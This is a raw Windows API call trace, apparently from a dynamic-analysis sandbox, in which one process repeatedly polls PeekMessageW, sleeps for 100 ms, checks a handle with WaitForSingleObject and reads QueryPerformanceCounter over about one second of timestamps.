[0145.960] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.960] Sleep (dwMilliseconds=0x64) [0145.975] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.975] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762422594) returned 1 [0145.975] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762422791) returned 1 [0145.976] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.976] Sleep (dwMilliseconds=0x64) [0145.990] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762475229) returned 1 [0145.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762475415) returned 1 [0145.991] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.991] Sleep (dwMilliseconds=0x64) [0146.007] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.007] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762531801) returned 1 [0146.007] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762531970) returned 1 [0146.007] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.013] Sleep (dwMilliseconds=0x64) [0146.021] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.022] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762581990) returned 1 [0146.022] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762582174) returned 1 [0146.022] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.023] Sleep (dwMilliseconds=0x64) [0146.037] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.037] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762635543) returned 1 [0146.037] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762635733) returned 1 [0146.038] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.038] Sleep (dwMilliseconds=0x64) [0146.053] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.053] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762688598) returned 1 [0146.053] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762688830) returned 1 [0146.053] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.054] Sleep (dwMilliseconds=0x64) [0146.068] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762742072) returned 1 [0146.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762742255) returned 1 [0146.069] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.069] Sleep (dwMilliseconds=0x64) [0146.086] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.086] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762801755) returned 1 [0146.086] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762801937) returned 1 [0146.086] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.087] Sleep (dwMilliseconds=0x64) [0146.103] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.103] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762859465) returned 1 [0146.103] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762859631) returned 1 [0146.103] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.104] Sleep (dwMilliseconds=0x64) [0146.117] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.117] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762907109) returned 1 [0146.117] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762907269) returned 1 [0146.117] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.118] Sleep (dwMilliseconds=0x64) [0146.131] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.131] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762955656) returned 1 [0146.131] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762955825) returned 1 [0146.131] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.132] Sleep (dwMilliseconds=0x64) [0146.146] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.146] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763008279) returned 1 [0146.146] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763008438) returned 1 [0146.147] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.147] Sleep (dwMilliseconds=0x64) [0146.162] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.162] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763061516) returned 1 [0146.162] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763061665) returned 1 [0146.162] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.163] Sleep (dwMilliseconds=0x64) [0146.177] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763115103) returned 1 [0146.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763115251) returned 1 [0146.178] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.178] Sleep (dwMilliseconds=0x64) [0146.193] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.193] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763168594) returned 1 [0146.193] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763168815) returned 1 [0146.194] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.194] Sleep (dwMilliseconds=0x64) [0146.209] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.209] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763221518) returned 1 [0146.209] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763221666) returned 1 [0146.209] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.210] Sleep (dwMilliseconds=0x64) [0146.227] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763286033) returned 1 [0146.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763286183) returned 1 [0146.228] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.229] Sleep (dwMilliseconds=0x64) [0146.240] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763328448) returned 1 [0146.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763328647) returned 1 [0146.241] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.241] Sleep (dwMilliseconds=0x64) [0146.256] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763382069) returned 1 [0146.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763382266) returned 1 [0146.256] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.257] Sleep (dwMilliseconds=0x64) [0146.271] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.271] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763435741) returned 1 [0146.271] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763435938) returned 1 [0146.272] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.272] Sleep (dwMilliseconds=0x64) [0146.287] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.287] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763488421) returned 1 [0146.287] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763488619) returned 1 [0146.287] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.288] Sleep (dwMilliseconds=0x64) [0146.302] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.302] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763541704) returned 1 [0146.302] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763541898) returned 1 [0146.303] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.303] Sleep (dwMilliseconds=0x64) [0146.318] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.318] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763595251) returned 1 [0146.318] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763595437) returned 1 [0146.319] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.319] Sleep (dwMilliseconds=0x64) [0146.336] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.336] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763657441) returned 1 [0146.336] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763657609) returned 1 [0146.337] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.337] Sleep (dwMilliseconds=0x64) [0146.350] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.350] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763703267) returned 1 [0146.350] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763703435) returned 1 [0146.350] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.351] Sleep (dwMilliseconds=0x64) [0146.365] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763754847) returned 1 [0146.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763755020) returned 1 [0146.365] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.366] Sleep (dwMilliseconds=0x64) [0146.380] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.380] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763808601) returned 1 [0146.380] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763808772) returned 1 [0146.381] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.381] Sleep (dwMilliseconds=0x64) [0146.396] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.396] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763861497) returned 1 [0146.396] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763861666) returned 1 [0146.396] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.397] Sleep (dwMilliseconds=0x64) [0146.411] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.412] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763914984) returned 1 [0146.412] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763915180) returned 1 [0146.412] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.413] Sleep (dwMilliseconds=0x64) [0146.427] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.427] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=763968175) returned 1 [0146.427] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=763968349) returned 1 [0146.428] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.428] Sleep (dwMilliseconds=0x64) [0146.443] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.443] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764024202) returned 1 [0146.444] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764024401) returned 1 [0146.444] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.445] Sleep (dwMilliseconds=0x64) [0146.458] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764075607) returned 1 [0146.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764075791) returned 1 [0146.459] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.460] Sleep (dwMilliseconds=0x64) [0146.503] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.503] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764228064) returned 1 [0146.503] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764228223) returned 1 [0146.504] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.504] Sleep (dwMilliseconds=0x64) [0146.505] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.505] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764234864) returned 1 [0146.505] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764235021) returned 1 [0146.506] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.506] Sleep (dwMilliseconds=0x64) [0146.521] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.521] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764287982) returned 1 [0146.521] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764288139) returned 1 [0146.521] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.522] Sleep (dwMilliseconds=0x64) [0146.536] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764341325) returned 1 [0146.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764341483) returned 1 [0146.537] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.537] Sleep (dwMilliseconds=0x64) [0146.552] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.552] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764396694) returned 1 [0146.553] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764396862) returned 1 [0146.553] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.553] Sleep (dwMilliseconds=0x64) [0146.568] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.568] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764448471) returned 1 [0146.568] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764448669) returned 1 [0146.568] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.569] Sleep (dwMilliseconds=0x64) [0146.583] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.583] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764501595) returned 1 [0146.583] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764501816) returned 1 [0146.584] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.584] Sleep (dwMilliseconds=0x64) [0146.599] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.599] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764554800) returned 1 [0146.599] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764554996) returned 1 [0146.599] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.600] Sleep (dwMilliseconds=0x64) [0146.614] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.614] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764608150) returned 1 [0146.614] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764608347) returned 1 [0146.615] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.615] Sleep (dwMilliseconds=0x64) [0146.634] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764675781) returned 1 [0146.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764675964) returned 1 [0146.635] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.635] Sleep (dwMilliseconds=0x64) [0146.645] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.645] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764714582) returned 1 [0146.646] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764714750) returned 1 [0146.646] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.647] Sleep (dwMilliseconds=0x64) [0146.662] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764769885) returned 1 [0146.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764770052) returned 1 [0146.662] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.663] Sleep (dwMilliseconds=0x64) [0146.679] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764830578) returned 1 [0146.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764830777) returned 1 [0146.680] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.681] Sleep (dwMilliseconds=0x64) [0146.692] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.692] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=764875076) returned 1 [0146.692] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=764875269) returned 1 [0146.693] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.694] Sleep (dwMilliseconds=0x64) [0146.753] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.753] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765083674) returned 1 [0146.754] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765083852) returned 1 [0146.755] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.756] Sleep (dwMilliseconds=0x64) [0146.771] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765143262) returned 1 [0146.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765143431) returned 1 [0146.771] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.772] Sleep (dwMilliseconds=0x64) [0146.786] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.786] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765194559) returned 1 [0146.786] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765194717) returned 1 [0146.786] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.787] Sleep (dwMilliseconds=0x64) [0146.801] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765247719) returned 1 [0146.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765247877) returned 1 